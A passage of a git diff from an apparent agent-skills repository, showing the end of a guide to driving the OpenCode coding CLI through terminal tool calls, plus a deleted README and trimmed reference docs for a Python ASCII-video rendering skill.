process(action="kill", session_id="<id>")
|
||||
```
|
||||
|
||||
**Important:** Do NOT use `/exit` — it is not a valid OpenCode command and will open an agent selector dialog instead. Use Ctrl+C (`\x03`) or `process(action="kill")` to exit.
|
||||
|
||||
### TUI Keybindings
|
||||
|
||||
| Key | Action |
|
||||
|-----|--------|
|
||||
| `Enter` | Submit message (press twice if needed) |
|
||||
| `Tab` | Switch between agents (build/plan) |
|
||||
| `Ctrl+P` | Open command palette |
|
||||
| `Ctrl+X L` | Switch session |
|
||||
| `Ctrl+X M` | Switch model |
|
||||
| `Ctrl+X N` | New session |
|
||||
| `Ctrl+X E` | Open editor |
|
||||
| `Ctrl+C` | Exit OpenCode |
|
||||
|
||||
### Resuming Sessions
|
||||
|
||||
After exiting, OpenCode prints a session ID. Resume with:
|
||||
|
||||
```
|
||||
terminal(command="opencode -c", workdir="~/project", background=true, pty=true) # Continue last session
|
||||
terminal(command="opencode -s ses_abc123", workdir="~/project", background=true, pty=true) # Specific session
|
||||
```
|
||||
|
||||
## Common Flags
|
||||
|
||||
| Flag | Use |
|
||||
|------|-----|
|
||||
| `run 'prompt'` | One-shot execution and exit |
|
||||
| `--continue` / `-c` | Continue the last OpenCode session |
|
||||
| `--session <id>` / `-s` | Continue a specific session |
|
||||
| `--agent <name>` | Choose OpenCode agent (build or plan) |
|
||||
| `--model provider/model` | Force specific model |
|
||||
| `--format json` | Machine-readable output/events |
|
||||
| `--file <path>` / `-f` | Attach file(s) to the message |
|
||||
| `--thinking` | Show model thinking blocks |
|
||||
| `--variant <level>` | Reasoning effort (high, max, minimal) |
|
||||
| `--title <name>` | Name the session |
|
||||
| `--attach <url>` | Connect to a running opencode server |
|
||||
|
||||
## Procedure
|
||||
|
||||
1. Verify tool readiness:
|
||||
- `terminal(command="opencode --version")`
|
||||
- `terminal(command="opencode auth list")`
|
||||
2. For bounded tasks, use `opencode run '...'` (no pty needed).
|
||||
3. For iterative tasks, start `opencode` with `background=true, pty=true`.
|
||||
4. Monitor long tasks with `process(action="poll"|"log")`.
|
||||
5. If OpenCode asks for input, respond via `process(action="submit", ...)`.
|
||||
6. Exit with `process(action="write", data="\x03")` or `process(action="kill")`.
|
||||
7. Summarize file changes, test results, and next steps back to user.
|
||||
|
||||
## PR Review Workflow
|
||||
|
||||
OpenCode has a built-in PR command:
|
||||
|
||||
```
|
||||
terminal(command="opencode pr 42", workdir="~/project", pty=true)
|
||||
```
|
||||
|
||||
Or review in a temporary clone for isolation:
|
||||
|
||||
```
|
||||
terminal(command="REVIEW=$(mktemp -d) && git clone https://github.com/user/repo.git $REVIEW && cd $REVIEW && opencode run 'Review this PR vs main. Report bugs, security risks, test gaps, and style issues.' -f $(git diff origin/main --name-only | head -20 | tr '\n' ' ')", pty=true)
|
||||
```
|
||||
|
||||
## Parallel Work Pattern
|
||||
|
||||
Use separate workdirs/worktrees to avoid collisions:
|
||||
|
||||
```
|
||||
terminal(command="opencode run 'Fix issue #101 and commit'", workdir="/tmp/issue-101", background=true, pty=true)
|
||||
terminal(command="opencode run 'Add parser regression tests and commit'", workdir="/tmp/issue-102", background=true, pty=true)
|
||||
process(action="list")
|
||||
```
|
||||
|
||||
## Session & Cost Management
|
||||
|
||||
List past sessions:
|
||||
|
||||
```
|
||||
terminal(command="opencode session list")
|
||||
```
|
||||
|
||||
Check token usage and costs:
|
||||
|
||||
```
|
||||
terminal(command="opencode stats")
|
||||
terminal(command="opencode stats --days 7 --models anthropic/claude-sonnet-4")
|
||||
```
|
||||
|
||||
## Pitfalls
|
||||
|
||||
- Interactive `opencode` (TUI) sessions require `pty=true`. The `opencode run` command does NOT need pty.
|
||||
- `/exit` is NOT a valid command — it opens an agent selector. Use Ctrl+C to exit the TUI.
|
||||
- PATH mismatch can select the wrong OpenCode binary/model config.
|
||||
- If OpenCode appears stuck, inspect logs before killing:
|
||||
- `process(action="log", session_id="<id>")`
|
||||
- Avoid sharing one working directory across parallel OpenCode sessions.
|
||||
- Enter may need to be pressed twice to submit in the TUI (once to finalize text, once to send).
|
||||
|
||||
## Verification
|
||||
|
||||
Smoke test:
|
||||
|
||||
```
|
||||
terminal(command="opencode run 'Respond with exactly: OPENCODE_SMOKE_OK'")
|
||||
```
|
||||
|
||||
Success criteria:
|
||||
- Output includes `OPENCODE_SMOKE_OK`
|
||||
- Command exits without provider/model errors
|
||||
- For code tasks: expected files changed and tests pass
|
||||
|
||||
## Rules
|
||||
|
||||
1. Prefer `opencode run` for one-shot automation — it's simpler and doesn't need pty.
|
||||
2. Use interactive background mode only when iteration is needed.
|
||||
3. Always scope OpenCode sessions to a single repo/workdir.
|
||||
4. For long tasks, provide progress updates from `process` logs.
|
||||
5. Report concrete outcomes (files changed, tests, remaining risks).
|
||||
6. Exit interactive sessions with Ctrl+C or kill, never `/exit`.
|
||||
@@ -1,249 +0,0 @@
|
||||
# ☤ ASCII Video
|
||||
|
||||
Renders any content as colored ASCII character video. Audio, video, images, text, or pure math in, MP4/GIF/PNG sequence out. Full RGB color per character cell, 1080p 24fps default. No GPU.
|
||||
|
||||
Built for [Hermes Agent](https://github.com/NousResearch/hermes-agent). Usable in any coding agent.
|
||||
|
||||
## What this is
|
||||
|
||||
A skill that teaches an agent how to build single-file Python renderers for ASCII video from scratch. The agent gets the full pipeline: grid system, font rasterization, effect library, shader chain, audio analysis, parallel encoding. It writes the renderer, runs it, gets video.
|
||||
|
||||
The output is actual video. Not terminal escape codes. Frames are computed as grids of colored characters, composited onto pixel canvases with pre-rasterized font bitmaps, post-processed through shaders, piped to ffmpeg.
|
||||
|
||||
## Modes
|
||||
|
||||
| Mode | Input | Output |
|
||||
|------|-------|--------|
|
||||
| Video-to-ASCII | A video file | ASCII recreation of the footage |
|
||||
| Audio-reactive | An audio file | Visuals driven by frequency bands, beats, energy |
|
||||
| Generative | Nothing | Procedural animation from math |
|
||||
| Hybrid | Video + audio | ASCII video with audio-reactive overlays |
|
||||
| Lyrics/text | Audio + timed text (SRT) | Karaoke-style text with effects |
|
||||
| TTS narration | Text quotes + API key | Narrated video with typewriter text and generated speech |
|
||||
|
||||
## Pipeline
|
||||
|
||||
Every mode follows the same 6-stage path:
|
||||
|
||||
```
|
||||
INPUT --> ANALYZE --> SCENE_FN --> TONEMAP --> SHADE --> ENCODE
|
||||
```
|
||||
|
||||
1. **Input** loads source material (or nothing for generative).
|
||||
2. **Analyze** extracts per-frame features. Audio gets 6-band FFT, RMS, spectral centroid, flatness, flux, beat detection with exponential decay. Video gets luminance, edges, motion.
|
||||
3. **Scene function** returns a pixel canvas directly. Composes multiple character grids at different densities, value/hue fields, pixel blend modes. This is where the visuals happen.
|
||||
4. **Tonemap** does adaptive percentile-based brightness normalization with per-scene gamma. ASCII on black is inherently dark. Linear multipliers don't work. This does.
|
||||
5. **Shade** runs a `ShaderChain` (38 composable shaders) plus a `FeedbackBuffer` for temporal recursion with spatial transforms.
|
||||
6. **Encode** pipes raw RGB frames to ffmpeg for H.264 encoding. Segments concatenated, audio muxed.
|
||||
|
||||
## Grid system
|
||||
|
||||
Characters render on fixed-size grids. Layer multiple densities for depth.
|
||||
|
||||
| Size | Font | Grid at 1080p | Use |
|
||||
|------|------|---------------|-----|
|
||||
| xs | 8px | 400x108 | Ultra-dense data fields |
|
||||
| sm | 10px | 320x83 | Rain, starfields |
|
||||
| md | 16px | 192x56 | Default balanced |
|
||||
| lg | 20px | 160x45 | Readable text |
|
||||
| xl | 24px | 137x37 | Large titles |
|
||||
| xxl | 40px | 80x22 | Giant minimal |
|
||||
|
||||
Rendering the same scene on `sm` and `lg` then screen-blending them creates natural texture interference. Fine detail shows through gaps in coarse characters. Most scenes use two or three grids.
|
||||
|
||||
## Character palettes (20+)
|
||||
|
||||
Each sorted dark-to-bright, each a different visual texture. Validated against the font at init so broken glyphs get dropped silently.
|
||||
|
||||
| Family | Examples | Feel |
|
||||
|--------|----------|------|
|
||||
| Density ramps | ` .:-=+#@█` | Classic ASCII art gradient |
|
||||
| Block elements | ` ░▒▓█▄▀▐▌` | Chunky, digital |
|
||||
| Braille | ` ⠁⠂⠃...⠿` | Fine-grained pointillism |
|
||||
| Dots | ` ⋅∘∙●◉◎` | Smooth, organic |
|
||||
| Stars | ` ·✧✦✩✨★✶` | Sparkle, celestial |
|
||||
| Half-fills | ` ◔◑◕◐◒◓◖◗◙` | Directional fill progression |
|
||||
| Crosshatch | ` ▣▤▥▦▧▨▩` | Hatched density ramp |
|
||||
| Math | ` ·∘∙•°±×÷≈≠≡∞∫∑Ω` | Scientific, abstract |
|
||||
| Box drawing | ` ─│┌┐└┘├┤┬┴┼` | Structural, circuit-like |
|
||||
| Katakana | ` ·ヲァィゥェォャュ...` | Matrix rain |
|
||||
| Greek | ` αβγδεζηθ...ω` | Classical, academic |
|
||||
| Runes | ` ᚠᚢᚦᚱᚷᛁᛇᛒᛖᛚᛞᛟ` | Mystical, ancient |
|
||||
| Alchemical | ` ☉☽♀♂♃♄♅♆♇` | Esoteric |
|
||||
| Arrows | ` ←↑→↓↔↕↖↗↘↙` | Directional, kinetic |
|
||||
| Music | ` ♪♫♬♩♭♮♯○●` | Musical |
|
||||
| Project-specific | ` .·~=≈∞⚡☿✦★⊕◊◆▲▼●■` | Themed per project |
|
||||
|
||||
Custom palettes are built per project to match the content.
|
||||
|
||||
## Color strategies
|
||||
|
||||
| Strategy | How it maps hue | Good for |
|
||||
|----------|----------------|----------|
|
||||
| Angle-mapped | Position angle from center | Rainbow radial effects |
|
||||
| Distance-mapped | Distance from center | Depth, tunnels |
|
||||
| Frequency-mapped | Audio spectral centroid | Timbral shifting |
|
||||
| Value-mapped | Brightness level | Heat maps, fire |
|
||||
| Time-cycled | Slow rotation over time | Ambient, chill |
|
||||
| Source-sampled | Original video pixel colors | Video-to-ASCII |
|
||||
| Palette-indexed | Discrete lookup table | Retro, flat graphic |
|
||||
| Temperature | Warm-to-cool blend | Emotional tone |
|
||||
| Complementary | Hue + opposite | Bold, dramatic |
|
||||
| Triadic | Three equidistant hues | Psychedelic, vibrant |
|
||||
| Analogous | Neighboring hues | Harmonious, subtle |
|
||||
| Monochrome | Fixed hue, vary S/V | Noir, focused |
|
||||
|
||||
Plus 10 discrete RGB palettes (neon, pastel, cyberpunk, vaporwave, earth, ice, blood, forest, mono-green, mono-amber).
|
||||
|
||||
## Effects
|
||||
|
||||
### Backgrounds
|
||||
|
||||
| Effect | Description | Parameters |
|
||||
|--------|-------------|------------|
|
||||
| Sine field | Layered sinusoidal interference | freq, speed, octave count |
|
||||
| Smooth noise | Multi-octave Perlin approximation | octaves, scale |
|
||||
| Cellular | Voronoi-like moving cells | n_centers, speed |
|
||||
| Noise/static | Random per-cell flicker | density |
|
||||
| Video source | Downsampled video frame | brightness |
|
||||
|
||||
### Primary effects
|
||||
|
||||
| Effect | Description |
|
||||
|--------|-------------|
|
||||
| Concentric rings | Bass-driven pulsing rings with wobble |
|
||||
| Radial rays | Spoke pattern, beat-triggered |
|
||||
| Spiral arms | Logarithmic spiral, configurable arm count/tightness |
|
||||
| Tunnel | Infinite depth perspective |
|
||||
| Vortex | Twisting radial distortion |
|
||||
| Frequency waves | Per-band sine waves at different heights |
|
||||
| Interference | Overlapping sine waves creating moire |
|
||||
| Aurora | Horizontal flowing bands |
|
||||
| Ripple | Point-source concentric waves |
|
||||
| Fire columns | Rising flames with heat-color gradient |
|
||||
| Spectrum bars | Mirrored frequency visualizer |
|
||||
| Waveform | Oscilloscope-style trace |
|
||||
|
||||
### Particle systems
|
||||
|
||||
| Type | Behavior | Character sets |
|
||||
|------|----------|---------------|
|
||||
| Explosion | Beat-triggered radial burst | `*+#@⚡✦★█▓` |
|
||||
| Sparks | Short-lived bright dots | `·•●★✶*+` |
|
||||
| Embers | Rising from bottom with drift | `·•●★` |
|
||||
| Snow | Falling with wind sway | `❄❅❆·•*○` |
|
||||
| Rain | Fast vertical streaks | `│┃║/\` |
|
||||
| Bubbles | Rising, expanding | `○◎◉●∘∙°` |
|
||||
| Data | Falling hex/binary | `01{}[]<>/\` |
|
||||
| Runes | Mystical floating symbols | `ᚠᚢᚦᚱᚷᛁ✦★` |
|
||||
| Orbit | Circular/elliptical paths | `·•●` |
|
||||
| Gravity well | Attracted to point sources | configurable |
|
||||
| Dissolve | Spread across screen, fade | configurable |
|
||||
| Starfield | 3D projected, approaching | configurable |
|
||||
|
||||
## Shader pipeline
|
||||
|
||||
38 composable shaders, applied to the pixel canvas after character rendering. Configurable per section.
|
||||
|
||||
| Category | Shaders |
|
||||
|----------|---------|
|
||||
| Geometry | CRT barrel, pixelate, wave distort, displacement map, kaleidoscope, mirror (h/v/quad/diag) |
|
||||
| Channel | Chromatic aberration (beat-reactive), channel shift, channel swap, RGB split radial |
|
||||
| Color | Invert, posterize, threshold, solarize, hue rotate, saturation, color grade, color wobble, color ramp |
|
||||
| Glow/Blur | Bloom, edge glow, soft focus, radial blur |
|
||||
| Noise | Film grain (beat-reactive), static noise |
|
||||
| Lines/Patterns | Scanlines, halftone |
|
||||
| Tone | Vignette, contrast, gamma, levels, brightness |
|
||||
| Glitch/Data | Glitch bands (beat-reactive), block glitch, pixel sort, data bend |
|
||||
|
||||
12 color tint presets: warm, cool, matrix green, amber, sepia, neon pink, ice, blood, forest, void, sunset, neutral.
|
||||
|
||||
7 mood presets for common shader combos:
|
||||
|
||||
| Mood | Shaders |
|
||||
|------|---------|
|
||||
| Retro terminal | CRT + scanlines + grain + amber/green tint |
|
||||
| Clean modern | Light bloom + subtle vignette |
|
||||
| Glitch art | Heavy chromatic + glitch bands + color wobble |
|
||||
| Cinematic | Bloom + vignette + grain + color grade |
|
||||
| Dreamy | Heavy bloom + soft focus + color wobble |
|
||||
| Harsh/industrial | High contrast + grain + scanlines, no bloom |
|
||||
| Psychedelic | Color wobble + chromatic + kaleidoscope mirror |
|
||||
|
||||
## Blend modes and composition
|
||||
|
||||
20 pixel blend modes for layering canvases: normal, add, subtract, multiply, screen, overlay, softlight, hardlight, difference, exclusion, colordodge, colorburn, linearlight, vividlight, pin_light, hard_mix, lighten, darken, grain_extract, grain_merge.
|
||||
|
||||
Mirror modes: horizontal, vertical, quad, diagonal, kaleidoscope (6-fold radial). Beat-triggered.
|
||||
|
||||
Transitions: crossfade, directional wipe, radial wipe, dissolve, glitch cut.
|
||||
|
||||
## Hardware adaptation
|
||||
|
||||
Auto-detects CPU count, RAM, platform, ffmpeg. Adapts worker count, resolution, FPS.
|
||||
|
||||
| Profile | Resolution | FPS | When |
|
||||
|---------|-----------|-----|------|
|
||||
| `draft` | 960x540 | 12 | Check timing/layout |
|
||||
| `preview` | 1280x720 | 15 | Review effects |
|
||||
| `production` | 1920x1080 | 24 | Final output |
|
||||
| `max` | 3840x2160 | 30 | Ultra-high |
|
||||
| `auto` | Detected | 24 | Adapts to hardware + duration |
|
||||
|
||||
`auto` estimates render time and downgrades if it would take over an hour. Low-memory systems drop to 720p automatically.
|
||||
|
||||
### Render times (1080p 24fps, ~180ms/frame/worker)
|
||||
|
||||
| Duration | 4 workers | 8 workers | 16 workers |
|
||||
|----------|-----------|-----------|------------|
|
||||
| 30s | ~3 min | ~2 min | ~1 min |
|
||||
| 2 min | ~13 min | ~7 min | ~4 min |
|
||||
| 5 min | ~33 min | ~17 min | ~9 min |
|
||||
| 10 min | ~65 min | ~33 min | ~17 min |
|
||||
|
||||
720p roughly halves these. 4K roughly quadruples them.
|
||||
|
||||
## Known pitfalls
|
||||
|
||||
**Brightness.** ASCII characters are small bright dots on black. Most frame pixels are background. Linear `* N` multipliers clip highlights and wash out. Use `tonemap()` with per-scene gamma instead. Default gamma 0.75, solarize scenes 0.55, posterize 0.50.
|
||||
|
||||
**Render bottleneck.** The per-cell Python loop compositing font bitmaps runs at ~100-150ms/frame. Unavoidable without Cython/C. Everything else must be vectorized numpy. Python for-loops over rows/cols in effect functions will tank performance.
|
||||
|
||||
**ffmpeg deadlock.** Never `stderr=subprocess.PIPE` on long-running encodes. Buffer fills at ~64KB, process hangs. Redirect stderr to a file.
|
||||
|
||||
**Font cell height.** Pillow's `textbbox()` returns wrong height on macOS. Use `font.getmetrics()` for `ascent + descent`.
|
||||
|
||||
**Font compatibility.** Not all Unicode renders in all fonts. Palettes validated at init, blank glyphs silently removed.
|
||||
|
||||
## Requirements
|
||||
|
||||
◆ Python 3.10+
|
||||
◆ NumPy, Pillow, SciPy (audio modes)
|
||||
◆ ffmpeg on PATH
|
||||
◆ A monospace font (Menlo, Courier, Monaco, auto-detected)
|
||||
◆ Optional: OpenCV, ElevenLabs API key (TTS mode)
|
||||
|
||||
## File structure
|
||||
|
||||
```
|
||||
├── SKILL.md # Modes, workflow, creative direction
|
||||
├── README.md # This file
|
||||
└── references/
|
||||
├── architecture.md # Grid system, fonts, palettes, color, _render_vf()
|
||||
├── effects.md # Value fields, hue fields, backgrounds, particles
|
||||
├── shaders.md # 38 shaders, ShaderChain, tint presets, transitions
|
||||
├── composition.md # Blend modes, multi-grid, tonemap, FeedbackBuffer
|
||||
├── scenes.md # Scene protocol, SCENES table, render_clip(), examples
|
||||
├── design-patterns.md # Layer hierarchy, directional arcs, scene concepts
|
||||
├── inputs.md # Audio analysis, video sampling, text, TTS
|
||||
├── optimization.md # Hardware detection, vectorized patterns, parallelism
|
||||
└── troubleshooting.md # Broadcasting traps, blend pitfalls, diagnostics
|
||||
```
|
||||
|
||||
## Projects built with this
|
||||
|
||||
✦ 85-second highlight reel. 15 scenes (14×5s + 15s crescendo finale), randomized order, directional parameter arcs, layer hierarchy composition. Showcases the full effect vocabulary: fBM, voronoi fragmentation, reaction-diffusion, cellular automata, dual counter-rotating spirals, wave collision, domain warping, tunnel descent, kaleidoscope symmetry, boid flocking, fire simulation, glitch corruption, and a 7-layer crescendo buildup.
|
||||
|
||||
✦ Audio-reactive music visualizer. 3.5 min, 8 sections with distinct effects, beat-triggered particles and glitch, cycling palettes.
|
||||
|
||||
✦ TTS narrated testimonial video. 23 quotes, per-quote ElevenLabs voices, background music at 15% wide stereo, per-clip re-rendering for iterative editing.
|
||||
@@ -59,20 +59,16 @@ Every mode follows the same 6-stage pipeline. See `references/architecture.md` f
|
||||
| Dimension | Options | Reference |
|
||||
|-----------|---------|-----------|
|
||||
| **Character palette** | Density ramps, block elements, symbols, scripts (katakana, Greek, runes, braille), dots, project-specific | `architecture.md` § Character Palettes |
|
||||
| **Color strategy** | HSV (angle/distance/time/value mapped), OKLAB/OKLCH (perceptually uniform), discrete RGB palettes, auto-generated harmony (complementary/triadic/analogous/tetradic), monochrome, temperature | `architecture.md` § Color System |
|
||||
| **Color strategy** | HSV (angle/distance/time/value mapped), discrete RGB palettes, monochrome, complementary, triadic, temperature | `architecture.md` § Color System |
|
||||
| **Color tint** | Warm, cool, amber, matrix green, neon pink, sepia, ice, blood, void, sunset | `shaders.md` § Color Grade |
|
||||
| **Background texture** | Sine fields, fBM noise, domain warp, voronoi cells, reaction-diffusion, cellular automata, video source | `effects.md` § Background Fills, Noise-Based Fields, Simulation-Based Fields |
|
||||
| **Primary effects** | Rings, spirals, tunnel, vortex, waves, interference, aurora, ripple, fire, strange attractors, SDFs (geometric shapes with smooth booleans) | `effects.md` § Radial / Wave / Fire / SDF-Based Fields |
|
||||
| **Particles** | Energy sparks, snow, rain, bubbles, runes, binary data, orbits, gravity wells, flocking boids, flow-field followers, trail-drawing particles | `effects.md` § Particle Systems |
|
||||
| **Background texture** | Sine fields, noise, smooth noise, cellular/voronoi, video source | `effects.md` § Background Fills |
|
||||
| **Primary effects** | Rings, spirals, tunnel, vortex, waves, interference, aurora, ripple, fire | `effects.md` § Radial / Wave / Fire |
|
||||
| **Particles** | Energy sparks, snow, rain, bubbles, runes, binary data, orbits, gravity wells | `effects.md` § Particle Systems |
|
||||
| **Shader mood** | Retro CRT, clean modern, glitch art, cinematic, dreamy, harsh industrial, psychedelic | `shaders.md` § Design Philosophy |
|
||||
| **Grid density** | xs(8px) through xxl(40px), mixed per layer | `architecture.md` § Grid System |
|
||||
| **Font** | Menlo, Monaco, Courier, SF Mono, JetBrains Mono, Fira Code, IBM Plex | `architecture.md` § Font Selection |
|
||||
| **Coordinate space** | Cartesian, polar, tiled, rotated, skewed, fisheye, twisted, Möbius, domain-warped | `effects.md` § Coordinate Transforms |
|
||||
| **Mirror mode** | None, horizontal, vertical, quad, diagonal, kaleidoscope | `shaders.md` § Mirror Effects |
|
||||
| **Masking** | Circle, rect, ring, gradient, text stencil, value-field-as-mask, animated iris/wipe/dissolve | `composition.md` § Masking |
|
||||
| **Temporal motion** | Static, audio-reactive, eased keyframes, morphing between fields, temporal noise (smooth in-place evolution) | `effects.md` § Temporal Coherence |
|
||||
| **Transition style** | Crossfade, wipe (directional/radial), dissolve, glitch cut, iris open/close, mask-based reveal | `shaders.md` § Transitions, `composition.md` § Animated Masks |
|
||||
| **Aspect ratio** | Landscape (16:9), portrait (9:16), square (1:1), ultrawide (21:9) | `architecture.md` § Resolution Presets |
|
||||
| **Transition style** | Crossfade, wipe (directional/radial), dissolve, glitch cut | `shaders.md` § Transitions |
|
||||
|
||||
### Per-Section Variation
|
||||
|
||||
@@ -99,11 +95,10 @@ Establish with user:
|
||||
- **Input source** — file path, format, duration
|
||||
- **Mode** — which of the 6 modes above
|
||||
- **Sections** — time-mapped style changes (timestamps → effect names)
|
||||
- **Resolution** — landscape 1920x1080 (default), portrait 1080x1920, square 1080x1080 @ 24fps; GIFs typically 640x360 @ 15fps
|
||||
- **Resolution** — default 1920x1080 @ 24fps; GIFs typically 640x360 @ 15fps
|
||||
- **Style direction** — dense/sparse, bright/dark, chaotic/minimal, color palette
|
||||
- **Text/branding** — easter eggs, overlays, credits, themed character sets
|
||||
- **Output format** — MP4 (default), GIF, PNG sequence
|
||||
- **Aspect ratio** — landscape (16:9), portrait (9:16 for TikTok/Reels/Stories), square (1:1 for IG feed)
|
||||
|
||||
### Step 2: Detect Hardware and Set Quality
|
||||
|
||||
@@ -245,12 +240,11 @@ Image.fromarray(canvas).save("test.png")
|
||||
|
||||
| File | Contents |
|
||||
|------|----------|
|
||||
| `references/architecture.md` | Grid system (landscape/portrait/square resolution presets), font selection, character palettes (library of 20+), color system (HSV + OKLAB/OKLCH + discrete RGB + color harmony generation + perceptual gradient interpolation), `_render_vf()` helper, compositing, v2 effect function contract |
|
||||
| `references/architecture.md` | Grid system, font selection, character palettes (library of 20+), color system (HSV + discrete RGB), `_render_vf()` helper, compositing, v2 effect function contract |
|
||||
| `references/inputs.md` | All input sources: audio analysis, video sampling, image conversion, text/lyrics, TTS integration (ElevenLabs, voice assignment, audio mixing) |
|
||||
| `references/effects.md` | Effect building blocks: 20+ value field generators (trig, noise/fBM, domain warp, voronoi, reaction-diffusion, cellular automata, strange attractors, SDFs), 8 hue field generators, coordinate transforms (rotate/tile/polar/Möbius), temporal coherence (easing, keyframes, morphing), radial/wave/fire effects, advanced particles (flocking, flow fields, trails), composing guide |
|
||||
| `references/effects.md` | Effect building blocks: 12 value field generators (`vf_sinefield` through `vf_noise_static`), 8 hue field generators (`hf_fixed` through `hf_plasma`), radial/wave/fire effects, particles, composing guide |
|
||||
| `references/shaders.md` | 38 shader implementations (geometry, channel, color, glow, noise, pattern, tone, glitch, mirror), `ShaderChain` class, full `_apply_shader_step()` dispatch, audio-reactive scaling, transitions, tint presets |
|
||||
| `references/composition.md` | **v2 core**: pixel blend modes (20 modes with implementations), multi-grid composition, `_render_vf()` helper, adaptive `tonemap()`, per-scene gamma, `FeedbackBuffer` with spatial transforms, `PixelBlendStack`, masking/stencil system (shape masks, text stencils, animated masks, boolean ops) |
|
||||
| `references/scenes.md` | **v2 scene protocol**: scene function contract (local time convention), `Renderer` class, `SCENES` table structure, `render_clip()` loop, beat-synced cutting, parallel rendering + pickling constraints, 4 complete scene examples, scene design checklist |
|
||||
| `references/design-patterns.md` | **Scene composition patterns**: layer hierarchy (bg/content/accent), directional parameter arcs vs oscillation, scene concepts and visual metaphors, counter-rotating dual systems, wave collision, progressive fragmentation, entropy/consumption, staggered layer entry (crescendo), scene ordering |
|
||||
| `references/composition.md` | **v2 core**: pixel blend modes (20 modes with implementations), multi-grid composition, `_render_vf()` helper, adaptive `tonemap()`, per-scene gamma, `FeedbackBuffer` with spatial transforms, `PixelBlendStack` |
|
||||
| `references/scenes.md` | **v2 scene protocol**: scene function contract, `Renderer` class, `SCENES` table structure, `render_clip()` loop, beat-synced cutting, parallel rendering + pickling constraints, 4 complete scene examples, scene design checklist |
|
||||
| `references/troubleshooting.md` | NumPy broadcasting traps, blend mode pitfalls, multiprocessing/pickling issues, brightness diagnostics, ffmpeg deadlocks, font issues, performance bottlenecks, common mistakes |
|
||||
| `references/optimization.md` | Hardware detection, adaptive quality profiles (draft/preview/production/max), CLI integration, vectorized effect patterns, parallel rendering, memory management |
|
||||
|
||||
@@ -1,43 +1,12 @@
|
||||
# Architecture Reference
|
||||
|
||||
**Cross-references:**
|
||||
- Effect building blocks (value fields, noise, SDFs, particles): `effects.md`
|
||||
- `_render_vf()`, blend modes, tonemap, masking: `composition.md`
|
||||
- Scene protocol, render_clip, SCENES table: `scenes.md`
|
||||
- Shader pipeline, feedback buffer, output encoding: `shaders.md`
|
||||
- Complete scene examples: `examples.md`
|
||||
- Input sources (audio analysis, video, TTS): `inputs.md`
|
||||
- Performance tuning, hardware detection: `optimization.md`
|
||||
- Common bugs (broadcasting, font, encoding): `troubleshooting.md`
|
||||
|
||||
## Grid System
|
||||
|
||||
### Resolution Presets
|
||||
|
||||
```python
|
||||
RESOLUTION_PRESETS = {
|
||||
"landscape": (1920, 1080), # 16:9 — YouTube, default
|
||||
"portrait": (1080, 1920), # 9:16 — TikTok, Reels, Stories
|
||||
"square": (1080, 1080), # 1:1 — Instagram feed
|
||||
"ultrawide": (2560, 1080), # 21:9 — cinematic
|
||||
"landscape4k":(3840, 2160), # 16:9 — 4K
|
||||
"portrait4k": (2160, 3840), # 9:16 — 4K portrait
|
||||
}
|
||||
|
||||
def get_resolution(preset="landscape", custom=None):
|
||||
"""Returns (VW, VH) tuple."""
|
||||
if custom:
|
||||
return custom
|
||||
return RESOLUTION_PRESETS.get(preset, RESOLUTION_PRESETS["landscape"])
|
||||
```
|
||||
|
||||
### Multi-Density Grids
|
||||
|
||||
Pre-initialize multiple grid sizes. Switch per section for visual variety. Grid dimensions auto-compute from resolution:
|
||||
Pre-initialize multiple grid sizes. Switch per section for visual variety.
|
||||
|
||||
**Landscape (1920x1080):**
|
||||
|
||||
| Key | Font Size | Grid (cols x rows) | Use |
|
||||
| Key | Font Size | Grid (1920x1080) | Use |
|
||||
|-----|-----------|-------------------|-----|
|
||||
| xs | 8 | 400x108 | Ultra-dense data fields |
|
||||
| sm | 10 | 320x83 | Dense detail, rain, starfields |
|
||||
@@ -46,34 +15,7 @@ Pre-initialize multiple grid sizes. Switch per section for visual variety. Grid
|
||||
| xl | 24 | 137x37 | Short quotes, large titles |
|
||||
| xxl | 40 | 80x22 | Giant text, minimal |
|
||||
|
||||
**Portrait (1080x1920):**
|
||||
|
||||
| Key | Font Size | Grid (cols x rows) | Use |
|
||||
|-----|-----------|-------------------|-----|
|
||||
| xs | 8 | 225x192 | Ultra-dense, tall data columns |
|
||||
| sm | 10 | 180x148 | Dense detail, vertical rain |
|
||||
| md | 16 | 112x100 | Default balanced |
|
||||
| lg | 20 | 90x80 | Readable text (~30 chars/line centered) |
|
||||
| xl | 24 | 75x66 | Short quotes, stacked |
|
||||
| xxl | 40 | 45x39 | Giant text, minimal |
|
||||
|
||||
**Square (1080x1080):**
|
||||
|
||||
| Key | Font Size | Grid (cols x rows) | Use |
|
||||
|-----|-----------|-------------------|-----|
|
||||
| sm | 10 | 180x83 | Dense detail |
|
||||
| md | 16 | 112x56 | Default balanced |
|
||||
| lg | 20 | 90x45 | Readable text |
|
||||
|
||||
**Key differences in portrait mode:**
|
||||
- Fewer columns (90 at `lg` vs 160) — lines must be shorter or wrap
|
||||
- Many more rows (80 at `lg` vs 45) — vertical stacking is natural
|
||||
- Aspect ratio correction flips: `asp = cw / ch` still works but the visual emphasis is vertical
|
||||
- Radial effects appear as tall ellipses unless corrected
|
||||
- Vertical effects (rain, embers, fire columns) are naturally enhanced
|
||||
- Horizontal effects (spectrum bars, waveforms) need rotation or compression
|
||||
|
||||
**Grid sizing for text in portrait**: Use `lg` (20px) for 2-3 word lines. Max comfortable line length is ~25-30 chars. For longer quotes, break aggressively into many short lines stacked vertically — portrait has vertical space to spare. `xl` (24px) works for single words or very short phrases.
|
||||
**Grid sizing for text-heavy content**: When displaying readable text (quotes, lyrics, testimonials), use 20px (`lg`) as the primary grid. This gives 160 columns -- plenty for lines up to ~50 chars centered. For very short quotes (< 60 chars, <= 3 lines), 24px (`xl`) makes them more impactful. Only init the grids you actually use -- each grid pre-rasterizes all characters which costs ~0.3-0.5s.
|
||||
|
||||
Grid dimensions: `cols = VW // cell_width`, `rows = VH // cell_height`.
|
||||
|
||||
@@ -117,23 +59,7 @@ FONT_PREFS_LINUX = [
|
||||
("Noto Sans Mono", "/usr/share/fonts/truetype/noto/NotoSansMono-Regular.ttf"),
|
||||
("Ubuntu Mono", "/usr/share/fonts/truetype/ubuntu/UbuntuMono-R.ttf"),
|
||||
]
|
||||
FONT_PREFS_WINDOWS = [
|
||||
("Consolas", r"C:\Windows\Fonts\consola.ttf"),
|
||||
("Courier New", r"C:\Windows\Fonts\cour.ttf"),
|
||||
("Lucida Console", r"C:\Windows\Fonts\lucon.ttf"),
|
||||
("Cascadia Code", os.path.expandvars(r"%LOCALAPPDATA%\Microsoft\Windows\Fonts\CascadiaCode.ttf")),
|
||||
